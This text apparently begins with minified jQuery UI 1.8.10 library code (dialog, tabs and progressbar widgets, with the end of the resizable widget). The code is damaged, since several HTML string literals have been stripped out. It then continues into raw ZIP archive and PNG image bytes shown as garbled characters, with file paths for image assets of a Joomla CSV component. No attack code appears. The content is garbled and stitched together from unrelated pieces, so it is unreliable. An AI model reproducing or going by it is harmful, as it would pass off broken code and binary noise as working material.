if(/^(ne)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a;b.position.top=f.top-a}else{if(/^(sw)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a}else{b.size.width=d.width+h;b.size.height=d.height+a;b.position.top=f.top-a}b.position.left=f.left-h}}});var m=function(b){return parseInt(b,10)||0},l=function(b){return!isNaN(parseInt(b,10))}})(jQuery); ;/* * jQuery UI Dialog 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Dialog * * Depends: * jquery.ui.core.js * jquery.ui.widget.js * jquery.ui.button.js * jquery.ui.draggable.js * jquery.ui.mouse.js * jquery.ui.position.js * jquery.ui.resizable.js */ (function(c,j){var k={buttons:true,height:true,maxHeight:true,maxWidth:true,minHeight:true,minWidth:true,width:true},l={maxHeight:true,maxWidth:true,minHeight:true,minWidth:true};c.widget("ui.dialog",{options:{autoOpen:true,buttons:{},closeOnEscape:true,closeText:"close",dialogClass:"",draggable:true,hide:null,height:"auto",maxHeight:false,maxWidth:false,minHeight:150,minWidth:150,modal:false,position:{my:"center",at:"center",collision:"fit",using:function(a){var b=c(this).css(a).offset().top;b<0&& c(this).css("top",a.top-b)}},resizable:true,show:null,stack:true,title:"",width:300,zIndex:1E3},_create:function(){this.originalTitle=this.element.attr("title");if(typeof this.originalTitle!=="string")this.originalTitle="";this.options.title=this.options.title||this.originalTitle;var a=this,b=a.options,d=b.title||" ",e=c.ui.dialog.getTitleId(a.element),g=(a.uiDialog=c("
      ")).appendTo(document.body).hide().addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+b.dialogClass).css({zIndex:b.zIndex}).attr("tabIndex", -1).css("outline",0).keydown(function(i){if(b.closeOnEscape&&i.keyCode&&i.keyCode===c.ui.keyCode.ESCAPE){a.close(i);i.preventDefault()}}).attr({role:"dialog","aria-labelledby":e}).mousedown(function(i){a.moveToTop(false,i)});a.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(g);var f=(a.uiDialogTitlebar=c("
      ")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(g),h=c('').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role", "button").hover(function(){h.addClass("ui-state-hover")},function(){h.removeClass("ui-state-hover")}).focus(function(){h.addClass("ui-state-focus")}).blur(function(){h.removeClass("ui-state-focus")}).click(function(i){a.close(i);return false}).appendTo(f);(a.uiDialogTitlebarCloseText=c("")).addClass("ui-icon ui-icon-closethick").text(b.closeText).appendTo(h);c("").addClass("ui-dialog-title").attr("id",e).html(d).prependTo(f);if(c.isFunction(b.beforeclose)&&!c.isFunction(b.beforeClose))b.beforeClose= b.beforeclose;f.find("*").add(f).disableSelection();b.draggable&&c.fn.draggable&&a._makeDraggable();b.resizable&&c.fn.resizable&&a._makeResizable();a._createButtons(b.buttons);a._isOpen=false;c.fn.bgiframe&&g.bgiframe()},_init:function(){this.options.autoOpen&&this.open()},destroy:function(){var a=this;a.overlay&&a.overlay.destroy();a.uiDialog.hide();a.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body");a.uiDialog.remove();a.originalTitle&& a.element.attr("title",a.originalTitle);return a},widget:function(){return this.uiDialog},close:function(a){var b=this,d,e;if(false!==b._trigger("beforeClose",a)){b.overlay&&b.overlay.destroy();b.uiDialog.unbind("keypress.ui-dialog");b._isOpen=false;if(b.options.hide)b.uiDialog.hide(b.options.hide,function(){b._trigger("close",a)});else{b.uiDialog.hide();b._trigger("close",a)}c.ui.dialog.overlay.resize();if(b.options.modal){d=0;c(".ui-dialog").each(function(){if(this!==b.uiDialog[0]){e=c(this).css("z-index"); isNaN(e)||(d=Math.max(d,e))}});c.ui.dialog.maxZ=d}return b}},isOpen:function(){return this._isOpen},moveToTop:function(a,b){var d=this,e=d.options;if(e.modal&&!a||!e.stack&&!e.modal)return d._trigger("focus",b);if(e.zIndex>c.ui.dialog.maxZ)c.ui.dialog.maxZ=e.zIndex;if(d.overlay){c.ui.dialog.maxZ+=1;d.overlay.$el.css("z-index",c.ui.dialog.overlay.maxZ=c.ui.dialog.maxZ)}a={scrollTop:d.element.attr("scrollTop"),scrollLeft:d.element.attr("scrollLeft")};c.ui.dialog.maxZ+=1;d.uiDialog.css("z-index",c.ui.dialog.maxZ); d.element.attr(a);d._trigger("focus",b);return d},open:function(){if(!this._isOpen){var a=this,b=a.options,d=a.uiDialog;a.overlay=b.modal?new c.ui.dialog.overlay(a):null;a._size();a._position(b.position);d.show(b.show);a.moveToTop(true);b.modal&&d.bind("keypress.ui-dialog",function(e){if(e.keyCode===c.ui.keyCode.TAB){var g=c(":tabbable",this),f=g.filter(":first");g=g.filter(":last");if(e.target===g[0]&&!e.shiftKey){f.focus(1);return false}else if(e.target===f[0]&&e.shiftKey){g.focus(1);return false}}}); c(a.element.find(":tabbable").get().concat(d.find(".ui-dialog-buttonpane :tabbable").get().concat(d.get()))).eq(0).focus();a._isOpen=true;a._trigger("open");return a}},_createButtons:function(a){var b=this,d=false,e=c("
      ").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),g=c("
      ").addClass("ui-dialog-buttonset").appendTo(e);b.uiDialog.find(".ui-dialog-buttonpane").remove();typeof a==="object"&&a!==null&&c.each(a,function(){return!(d=true)});if(d){c.each(a,function(f, h){h=c.isFunction(h)?{click:h,text:f}:h;f=c('').attr(h,true).unbind("click").click(function(){h.click.apply(b.element[0],arguments)}).appendTo(g);c.fn.button&&f.button()});e.appendTo(b.uiDialog)}},_makeDraggable:function(){function a(f){return{position:f.position,offset:f.offset}}var b=this,d=b.options,e=c(document),g;b.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(f,h){g= d.height==="auto"?"auto":c(this).height();c(this).height(c(this).height()).addClass("ui-dialog-dragging");b._trigger("dragStart",f,a(h))},drag:function(f,h){b._trigger("drag",f,a(h))},stop:function(f,h){d.position=[h.position.left-e.scrollLeft(),h.position.top-e.scrollTop()];c(this).removeClass("ui-dialog-dragging").height(g);b._trigger("dragStop",f,a(h));c.ui.dialog.overlay.resize()}})},_makeResizable:function(a){function b(f){return{originalPosition:f.originalPosition,originalSize:f.originalSize, position:f.position,size:f.size}}a=a===j?this.options.resizable:a;var d=this,e=d.options,g=d.uiDialog.css("position");a=typeof a==="string"?a:"n,e,s,w,se,sw,ne,nw";d.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:d.element,maxWidth:e.maxWidth,maxHeight:e.maxHeight,minWidth:e.minWidth,minHeight:d._minHeight(),handles:a,start:function(f,h){c(this).addClass("ui-dialog-resizing");d._trigger("resizeStart",f,b(h))},resize:function(f,h){d._trigger("resize",f,b(h))},stop:function(f, h){c(this).removeClass("ui-dialog-resizing");e.height=c(this).height();e.width=c(this).width();d._trigger("resizeStop",f,b(h));c.ui.dialog.overlay.resize()}}).css("position",g).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_minHeight:function(){var a=this.options;return a.height==="auto"?a.minHeight:Math.min(a.minHeight,a.height)},_position:function(a){var b=[],d=[0,0],e;if(a){if(typeof a==="string"||typeof a==="object"&&"0"in a){b=a.split?a.split(" "):[a[0],a[1]];if(b.length=== 1)b[1]=b[0];c.each(["left","top"],function(g,f){if(+b[g]===b[g]){d[g]=b[g];b[g]=f}});a={my:b.join(" "),at:b.join(" "),offset:d.join(" ")}}a=c.extend({},c.ui.dialog.prototype.options.position,a)}else a=c.ui.dialog.prototype.options.position;(e=this.uiDialog.is(":visible"))||this.uiDialog.show();this.uiDialog.css({top:0,left:0}).position(c.extend({of:window},a));e||this.uiDialog.hide()},_setOptions:function(a){var b=this,d={},e=false;c.each(a,function(g,f){b._setOption(g,f);if(g in k)e=true;if(g in l)d[g]=f});e&&this._size();this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option",d)},_setOption:function(a,b){var d=this,e=d.uiDialog;switch(a){case "beforeclose":a="beforeClose";break;case "buttons":d._createButtons(b);break;case "closeText":d.uiDialogTitlebarCloseText.text(""+b);break;case "dialogClass":e.removeClass(d.options.dialogClass).addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+b);break;case "disabled":b?e.addClass("ui-dialog-disabled"):e.removeClass("ui-dialog-disabled"); break;case "draggable":var g=e.is(":data(draggable)");g&&!b&&e.draggable("destroy");!g&&b&&d._makeDraggable();break;case "position":d._position(b);break;case "resizable":(g=e.is(":data(resizable)"))&&!b&&e.resizable("destroy");g&&typeof b==="string"&&e.resizable("option","handles",b);!g&&b!==false&&d._makeResizable(b);break;case "title":c(".ui-dialog-title",d.uiDialogTitlebar).html(""+(b||" "));break}c.Widget.prototype._setOption.apply(d,arguments)},_size:function(){var a=this.options,b,d,e= this.uiDialog.is(":visible");this.element.show().css({width:"auto",minHeight:0,height:0});if(a.minWidth>a.width)a.width=a.minWidth;b=this.uiDialog.css({height:"auto",width:a.width}).height();d=Math.max(0,a.minHeight-b);if(a.height==="auto")if(c.support.minHeight)this.element.css({minHeight:d,height:"auto"});else{this.uiDialog.show();a=this.element.css("height","auto").height();e||this.uiDialog.hide();this.element.height(Math.max(a,d))}else this.element.height(Math.max(a.height-b,0));this.uiDialog.is(":data(resizable)")&& this.uiDialog.resizable("option","minHeight",this._minHeight())}});c.extend(c.ui.dialog,{version:"1.8.10",uuid:0,maxZ:0,getTitleId:function(a){a=a.attr("id");if(!a){this.uuid+=1;a=this.uuid}return"ui-dialog-title-"+a},overlay:function(a){this.$el=c.ui.dialog.overlay.create(a)}});c.extend(c.ui.dialog.overlay,{instances:[],oldInstances:[],maxZ:0,events:c.map("focus,mousedown,mouseup,keydown,keypress,click".split(","),function(a){return a+".dialog-overlay"}).join(" "),create:function(a){if(this.instances.length=== 0){setTimeout(function(){c.ui.dialog.overlay.instances.length&&c(document).bind(c.ui.dialog.overlay.events,function(d){if(c(d.target).zIndex()").addClass("ui-widget-overlay")).appendTo(document.body).css({width:this.width(), height:this.height()});c.fn.bgiframe&&b.bgiframe();this.instances.push(b);return b},destroy:function(a){var b=c.inArray(a,this.instances);b!=-1&&this.oldInstances.push(this.instances.splice(b,1)[0]);this.instances.length===0&&c([document,window]).unbind(".dialog-overlay");a.remove();var d=0;c.each(this.instances,function(){d=Math.max(d,this.css("z-index"))});this.maxZ=d},height:function(){var a,b;if(c.browser.msie&&c.browser.version<7){a=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight); b=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);return a",remove:null,select:null,show:null,spinner:"Loading…",tabTemplate:"
    • #{label}
    • "},_create:function(){this._tabify(true)},_setOption:function(b,e){if(b=="selected")this.options.collapsible&& e==this.options.selected||this.select(e);else{this.options[b]=e;this._tabify()}},_tabId:function(b){return b.title&&b.title.replace(/\s/g,"_").replace(/[^\w\u00c0-\uFFFF-]/g,"")||this.options.idPrefix+u()},_sanitizeSelector:function(b){return b.replace(/:/g,"\\:")},_cookie:function(){var b=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+w());return d.cookie.apply(null,[b].concat(d.makeArray(arguments)))},_ui:function(b,e){return{tab:b,panel:e,index:this.anchors.index(b)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var b= d(this);b.html(b.data("label.tabs")).removeData("label.tabs")})},_tabify:function(b){function e(g,f){g.css("display","");!d.support.opacity&&f.opacity&&g[0].style.removeAttribute("filter")}var a=this,c=this.options,h=/^#.+/;this.list=this.element.find("ol,ul").eq(0);this.lis=d(" > li:has(a[href])",this.list);this.anchors=this.lis.map(function(){return d("a",this)[0]});this.panels=d([]);this.anchors.each(function(g,f){var i=d(f).attr("href"),l=i.split("#")[0],q;if(l&&(l===location.toString().split("#")[0]|| (q=d("base")[0])&&l===q.href)){i=f.hash;f.href=i}if(h.test(i))a.panels=a.panels.add(a.element.find(a._sanitizeSelector(i)));else if(i&&i!=="#"){d.data(f,"href.tabs",i);d.data(f,"load.tabs",i.replace(/#.*$/,""));i=a._tabId(f);f.href="#"+i;f=a.element.find("#"+i);if(!f.length){f=d(c.panelTemplate).attr("id",i).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(a.panels[g-1]||a.list);f.data("destroy.tabs",true)}a.panels=a.panels.add(f)}else c.disabled.push(g)});if(b){this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all"); this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.lis.addClass("ui-state-default ui-corner-top");this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom");if(c.selected===p){location.hash&&this.anchors.each(function(g,f){if(f.hash==location.hash){c.selected=g;return false}});if(typeof c.selected!=="number"&&c.cookie)c.selected=parseInt(a._cookie(),10);if(typeof c.selected!=="number"&&this.lis.filter(".ui-tabs-selected").length)c.selected= this.lis.index(this.lis.filter(".ui-tabs-selected"));c.selected=c.selected||(this.lis.length?0:-1)}else if(c.selected===null)c.selected=-1;c.selected=c.selected>=0&&this.anchors[c.selected]||c.selected<0?c.selected:0;c.disabled=d.unique(c.disabled.concat(d.map(this.lis.filter(".ui-state-disabled"),function(g){return a.lis.index(g)}))).sort();d.inArray(c.selected,c.disabled)!=-1&&c.disabled.splice(d.inArray(c.selected,c.disabled),1);this.panels.addClass("ui-tabs-hide");this.lis.removeClass("ui-tabs-selected ui-state-active"); if(c.selected>=0&&this.anchors.length){a.element.find(a._sanitizeSelector(a.anchors[c.selected].hash)).removeClass("ui-tabs-hide");this.lis.eq(c.selected).addClass("ui-tabs-selected ui-state-active");a.element.queue("tabs",function(){a._trigger("show",null,a._ui(a.anchors[c.selected],a.element.find(a._sanitizeSelector(a.anchors[c.selected].hash))[0]))});this.load(c.selected)}d(window).bind("unload",function(){a.lis.add(a.anchors).unbind(".tabs");a.lis=a.anchors=a.panels=null})}else c.selected=this.lis.index(this.lis.filter(".ui-tabs-selected")); this.element[c.collapsible?"addClass":"removeClass"]("ui-tabs-collapsible");c.cookie&&this._cookie(c.selected,c.cookie);b=0;for(var j;j=this.lis[b];b++)d(j)[d.inArray(b,c.disabled)!=-1&&!d(j).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled");c.cache===false&&this.anchors.removeData("cache.tabs");this.lis.add(this.anchors).unbind(".tabs");if(c.event!=="mouseover"){var k=function(g,f){f.is(":not(.ui-state-disabled)")&&f.addClass("ui-state-"+g)},n=function(g,f){f.removeClass("ui-state-"+ g)};this.lis.bind("mouseover.tabs",function(){k("hover",d(this))});this.lis.bind("mouseout.tabs",function(){n("hover",d(this))});this.anchors.bind("focus.tabs",function(){k("focus",d(this).closest("li"))});this.anchors.bind("blur.tabs",function(){n("focus",d(this).closest("li"))})}var m,o;if(c.fx)if(d.isArray(c.fx)){m=c.fx[0];o=c.fx[1]}else m=o=c.fx;var r=o?function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.hide().removeClass("ui-tabs-hide").animate(o,o.duration||"normal", function(){e(f,o);a._trigger("show",null,a._ui(g,f[0]))})}:function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.removeClass("ui-tabs-hide");a._trigger("show",null,a._ui(g,f[0]))},s=m?function(g,f){f.animate(m,m.duration||"normal",function(){a.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");e(f,m);a.element.dequeue("tabs")})}:function(g,f){a.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");a.element.dequeue("tabs")}; this.anchors.bind(c.event+".tabs",function(){var g=this,f=d(g).closest("li"),i=a.panels.filter(":not(.ui-tabs-hide)"),l=a.element.find(a._sanitizeSelector(g.hash));if(f.hasClass("ui-tabs-selected")&&!c.collapsible||f.hasClass("ui-state-disabled")||f.hasClass("ui-state-processing")||a.panels.filter(":animated").length||a._trigger("select",null,a._ui(this,l[0]))===false){this.blur();return false}c.selected=a.anchors.index(this);a.abort();if(c.collapsible)if(f.hasClass("ui-tabs-selected")){c.selected= -1;c.cookie&&a._cookie(c.selected,c.cookie);a.element.queue("tabs",function(){s(g,i)}).dequeue("tabs");this.blur();return false}else if(!i.length){c.cookie&&a._cookie(c.selected,c.cookie);a.element.queue("tabs",function(){r(g,l)});a.load(a.anchors.index(this));this.blur();return false}c.cookie&&a._cookie(c.selected,c.cookie);if(l.length){i.length&&a.element.queue("tabs",function(){s(g,i)});a.element.queue("tabs",function(){r(g,l)});a.load(a.anchors.index(this))}else throw"jQuery UI Tabs: Mismatching fragment identifier."; d.browser.msie&&this.blur()});this.anchors.bind("click.tabs",function(){return false})},_getIndex:function(b){if(typeof b=="string")b=this.anchors.index(this.anchors.filter("[href$="+b+"]"));return b},destroy:function(){var b=this.options;this.abort();this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs");this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.anchors.each(function(){var e= d.data(this,"href.tabs");if(e)this.href=e;var a=d(this).unbind(".tabs");d.each(["href","load","cache"],function(c,h){a.removeData(h+".tabs")})});this.lis.unbind(".tabs").add(this.panels).each(function(){d.data(this,"destroy.tabs")?d(this).remove():d(this).removeClass("ui-state-default ui-corner-top ui-tabs-selected ui-state-active ui-state-hover ui-state-focus ui-state-disabled ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide")});b.cookie&&this._cookie(null,b.cookie);return this},add:function(b, e,a){if(a===p)a=this.anchors.length;var c=this,h=this.options;e=d(h.tabTemplate.replace(/#\{href\}/g,b).replace(/#\{label\}/g,e));b=!b.indexOf("#")?b.replace("#",""):this._tabId(d("a",e)[0]);e.addClass("ui-state-default ui-corner-top").data("destroy.tabs",true);var j=c.element.find("#"+b);j.length||(j=d(h.panelTemplate).attr("id",b).data("destroy.tabs",true));j.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide");if(a>=this.lis.length){e.appendTo(this.list);j.appendTo(this.list[0].parentNode)}else{e.insertBefore(this.lis[a]); j.insertBefore(this.panels[a])}h.disabled=d.map(h.disabled,function(k){return k>=a?++k:k});this._tabify();if(this.anchors.length==1){h.selected=0;e.addClass("ui-tabs-selected ui-state-active");j.removeClass("ui-tabs-hide");this.element.queue("tabs",function(){c._trigger("show",null,c._ui(c.anchors[0],c.panels[0]))});this.load(0)}this._trigger("add",null,this._ui(this.anchors[a],this.panels[a]));return this},remove:function(b){b=this._getIndex(b);var e=this.options,a=this.lis.eq(b).remove(),c=this.panels.eq(b).remove(); if(a.hasClass("ui-tabs-selected")&&this.anchors.length>1)this.select(b+(b+1=b?--h:h});this._tabify();this._trigger("remove",null,this._ui(a.find("a")[0],c[0]));return this},enable:function(b){b=this._getIndex(b);var e=this.options;if(d.inArray(b,e.disabled)!=-1){this.lis.eq(b).removeClass("ui-state-disabled");e.disabled=d.grep(e.disabled,function(a){return a!=b});this._trigger("enable",null, this._ui(this.anchors[b],this.panels[b]));return this}},disable:function(b){b=this._getIndex(b);var e=this.options;if(b!=e.selected){this.lis.eq(b).addClass("ui-state-disabled");e.disabled.push(b);e.disabled.sort();this._trigger("disable",null,this._ui(this.anchors[b],this.panels[b]))}return this},select:function(b){b=this._getIndex(b);if(b==-1)if(this.options.collapsible&&this.options.selected!=-1)b=this.options.selected;else return this;this.anchors.eq(b).trigger(this.options.event+".tabs");return this}, load:function(b){b=this._getIndex(b);var e=this,a=this.options,c=this.anchors.eq(b)[0],h=d.data(c,"load.tabs");this.abort();if(!h||this.element.queue("tabs").length!==0&&d.data(c,"cache.tabs"))this.element.dequeue("tabs");else{this.lis.eq(b).addClass("ui-state-processing");if(a.spinner){var j=d("span",c);j.data("label.tabs",j.html()).html(a.spinner)}this.xhr=d.ajax(d.extend({},a.ajaxOptions,{url:h,success:function(k,n){e.element.find(e._sanitizeSelector(c.hash)).html(k);e._cleanup();a.cache&&d.data(c, "cache.tabs",true);e._trigger("load",null,e._ui(e.anchors[b],e.panels[b]));try{a.ajaxOptions.success(k,n)}catch(m){}},error:function(k,n){e._cleanup();e._trigger("load",null,e._ui(e.anchors[b],e.panels[b]));try{a.ajaxOptions.error(k,n,b,c)}catch(m){}}}));e.element.dequeue("tabs");return this}},abort:function(){this.element.queue([]);this.panels.stop(false,true);this.element.queue("tabs",this.element.queue("tabs").splice(-2,2));if(this.xhr){this.xhr.abort();delete this.xhr}this._cleanup();return this}, url:function(b,e){this.anchors.eq(b).removeData("cache.tabs").data("load.tabs",e);return this},length:function(){return this.anchors.length}});d.extend(d.ui.tabs,{version:"1.8.10"});d.extend(d.ui.tabs.prototype,{rotation:null,rotate:function(b,e){var a=this,c=this.options,h=a._rotate||(a._rotate=function(j){clearTimeout(a.rotation);a.rotation=setTimeout(function(){var k=c.selected;a.select(++k").appendTo(this.element);this.oldValue=this._value();this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"); this.valueDiv.remove();b.Widget.prototype.destroy.apply(this,arguments)},value:function(a){if(a===d)return this._value();this._setOption("value",a);return this},_setOption:function(a,c){if(a==="value"){this.options.value=c;this._refreshValue();this._value()===this.options.max&&this._trigger("complete")}b.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var a=this.options.value;if(typeof a!=="number")a=0;return Math.min(this.options.max,Math.max(this.min,a))},_percentage:function(){return 100* this._value()/this.options.max},_refreshValue:function(){var a=this.value(),c=this._percentage();if(this.oldValue!==a){this.oldValue=a;this._trigger("change")}this.valueDiv.toggleClass("ui-corner-right",a===this.options.max).width(c.toFixed(0)+"%");this.element.attr("aria-valuenow",a)}});b.extend(b.ui.progressbar,{version:"1.8.10"})})(jQuery); ;PK@y>\ZZ9components/com_csvi/assets/images/csvi_log_details_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<%PLTEQssㅞݘzÙ4^rĚ`掤3a\[z핹њâխЫjhr[ZꈷとgݼvGjзimMs埱ŲDtɪ愣뛽y꘶͝㣸̡,XQtRNS~IDATxb[D\Al 6T˴o*6&VVV&R6@fԻ%xRD8YxTE2dH XΒ՟o%o N]J3B3$}:CsQ~rp؄ F%Y'nՙPʡ+f,_ǰ8۝bz,,c kfJMg=6v ^L& t,?73 2'T7qk1Oׅxn6pg8żJ Z2{QIENDB`PK@y>\Cb$$3components/com_csvi/assets/images/csvi_clone_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<PLTE㡵Ȝ󋣼Ҩ蠵ۢam}bj|ȥnӅΚҐrud񊢻䥽Гϳۢ޸㌧䓲˫嗬숡}Զ薲ɵXtRNS*=lIDATxbXR D u@l vW4 aV \Ĕ8(o.vn" \:rpp{jY2DKr/j3`P?+?؂/`nJ rŋuK@{I"CVPr PgHȜuSc&8v U/c 9 6@İJM|XIl E9ٳ}8U"3RTSSV8U9,1/  ;/PTIENDB`PK@y>\|w w 1components/com_csvi/assets/images/csvi_new_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE3bHk:kㇴ3\ݝ-Y蓭Ar=oIrFyRvڢ:a[z8e8g@f/\ibNpTt+WݻuTxb:9tRNSS%IDATx| \e_`r  BM(h*W0A@AB3 jta8qP&&tRxnܨg{>yy^df9!L򕤤Ȳ#%dtXYޓXLO"i8qާX$ϹWQѮ)G !C 3se3݈+S"ZSOBђ6.UN@vOZ"e(4Px"V#P9E@-ȧQT\ihp~7vX,z*dA{<ͶSqO45/|Y:!0x}}5suwC~<2+dYutvtvvtc:xhD%*#iv6B`kk i<~0#(*lʳxRf:yg3N}.>88.SbGĬ[7^\R<bPA ThrƢ ::&&B[2^ 2%‰4({|.llܹQQyZZiK` SA-3iQtjp+(aNKB0|2ؽ>;wW?Nw=#fPV(y萣cFn:JW]HpܶW، m,=@2˪7TWm42vK(LF4B⌌,--=ďH!o%BQܦMBB6 .N͓RF$qAgw - zmzjY3 5,+34Z^9)bKlmv6P$ns|$,7$#:ny{Z;̣ofbe:ÁuÄWzzz~ڻwQM]uPzɰ.hbBa9+RZu %hUMz:5uoҚD;nYj^e("zDeb0uM*Et5$Vn98VvX|zQ{\ B!+ltYYyu sDAUcAT({ /'T%8 aJ469C.I{ Lhh_uIENDB`PK@y>\%4components/com_csvi/assets/images/csvi_import_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE㏥M|dkR,YBj䊺t]3]۠肙ㄴGzLoUuEy@sDxݻ8h}{퉟־`~o>nBf_џ4b]|Iv{EqЃFxR+]'O8qOr;QDWsI:p0iҒSKw*X;}ϟ7TAUUcccd,6`+=%'Hrs{nnQ*6̝LAa.;mab\I e I[ k3}បۨvIJrldʭ\a 2components/com_csvi/assets/images/csvi_cron_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE7Sl*2ヨĢk|̚+BN<==LLL555 2;$~&:EDDE$%&q]-FRn-..!"uTTTi%,㒸JkZu#6@2D09z&'(.HW'=H'()(=I,`$?Sh ({#*~ƥ铵νMt\wbjAcۭ䀰Ϟ2.tRNSfY*IDATxڄ \SUE84MaZE2.@S@bf"% `5|ڤ2/{?wL|v;ιqY*yi{rC51zOao$CLLTLX7sptH+81,4tƿv7ADEN3Q{CxXT|Ppw'xbcqcc|(R!YMŹ !v&$B@ \Jqy W|p".sjuCCg9q;&ƹLpC~F{|2,܇jπc{6wj**Z<[oHJ=so!_r,$HGBQ7{* $iE='a8 / /#.81BL?KKwJiT =21A45 ܂qaS2ZȄ"ޤ=!cz RҢ ̲Ҳ YCZ- X} KЁ20>N17M9UѧՖuμC֟yu" B(*ʾtzLz:|_}k7ϼiImq>;=f|U:,_V'm]q3\#ZH2`%dl_yW oWUmc41 6x.֑k&uՐG0ODI myP73JOOi66@T(/f]\9jvT{dCCӬ]M .]X>=|CZڴi 'D `lk+)蓇r[rbLi408]M*kfN2>ac٘ORPk쮶3Y {ҥ~KNݲXV6L8h2MYS.86 s8M+@2दR.)ݰmЈ8䃣ﶱYl܊@PYJ ~\Ѧ%`C\B2components/com_csvi/assets/images/csvi_logo_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE2CtRNSfYlIDATxboSvXЅe18h緯Y7;_=%]u׸ؿɽ^mх a>w3s0}Sݣ>S3[]wۚgk~Mܽ|v8lnvvM}55}J}m.߾*=yFn V p:ߝ? X۽  庋Q1/^T0!;;BHwX~Z3G% Gê{j0 ~`ymʾrqC̎?6tOm̟ q(7QL䆉*&חZ}A!;W;轚II3g&Z6QkIcvì֗Or-[ I\^>/Og72df)sLd@|0=eii,뫫-3 ?=\q`PAmZ3"UTUT"#&hij[AxAA0rEMEL aEE'\X?M߶lsu4ofW3_K -tarrWYEZ$q 7<&5y?Z-ri*m|||lb&1slk5ĕǶ_WKI&=օF_# ZdcIIEťK%%=g}1 J0VKv͛%=$%Nj$~jabikK=={{VH#QaUy mU-K2:~ywmEmlDm{."2Da=~(WK74}hW_}ra^Y8^1;uˋQ'acIENDB`PK@y>\J1,;,;/components/com_csvi/assets/images/csvi_logo.pngnuW+APNG  IHDRDj9;sRGBgAMA a pHYsodtEXtSoftwarePaint.NET v3.5.6ЃZ:IDATx^|V#XV}KK+Uu=:8)C@# {=&lٌ@H@Ȃ&wx= DBq9??_ JWs .U{NN}0f¤ 2ҎL=R| |cnyu9ߓ|%+jᜢ hEfgVI?QhRc&hzl9\`6:mLt*3~ߩ濸iO~jҷ|%pܢM=S7rPtHfpz ʬF1{ٝxݮqy?\w@%%p$rC N $1~ _ƿ㏭`N}&7a]yfeF ߙ'|%+˨@n} To7 v!d y Z AB`Vw`9Z3v4OiSr߾w)zK_~љ0B+ԨL:w4 ޒeFn:nFmEFA{Сߠ{رC'Q.f,tCGD9^hJC)( %r(šXi A\gZhF?@!hяA#PaWK9ڡQ !F;z^@?=z999 1 }݉nG qH`pCˑ q38 %Vai(p>/B9Bg<¾<; pk K5'KuS 2ǂ)D9( 8d9 F,ϵP 1 Y A**@0U :+-@w\ x/g1z ,~7\u 1f;F%5((aPP݆`!TMrD>k]5vw{'{ge4X`&dvTB p,,0:=(ȑ#;X4Kg c>(#H`z#DsG7FVtxyopo<<Ʋ}ٿ;#/Hw! @@#5h= k*(wB 2;[(93)׬I-G bjfmF3tےRmC}>WZ(0RTaaX N#@Gq<^( cHFI(z M(py<L> *AU@`CwhPGPР'4pTLJ(N8K`*<BGP}0d<3@^Pja;HÄO@8ѪsRFj?gJdkU',H1S̤^+L &pn|f;3$mO~.p |Wfeԣ%x"Jb'1  ɂr AYYYah%* k-€T` 9Jr=BbyU% +& VA'G$^}/eqesBʒjQ- >T{X$!A3XqX? A#VGi'"B ]3'9+G |7yzbjٰ`ƍfu74/m:wl̙cw %%L47p޽Yf3`w}wĹ"T(&P‰#F8Ҹqa蛴&ML۶m 0Ȃ` -F ?4m 4(lCCo۲e˲-Z??~|ZV4xjiK~gY\`j=9% Xh(~ nXYu:u2n=w 7NZif`L0k_oz饗|`"""sX:t0#Cz?Ob zL2L!Cj>0˴PDw1RN:bAK-?B xMKb_5?={vG}d5kfƎ[B> 𤳟_%5ՌdaB@Hõ-[ *& mh𨒅 A=Y!BA`hx#:ܹs/aVq *}.h0d{{ B㮇b2XRaAUԷ`B.fp&#C}xEgՠm+.3WNSV/3=1~| ^8Xȃ$=Ȼv+A58: ) 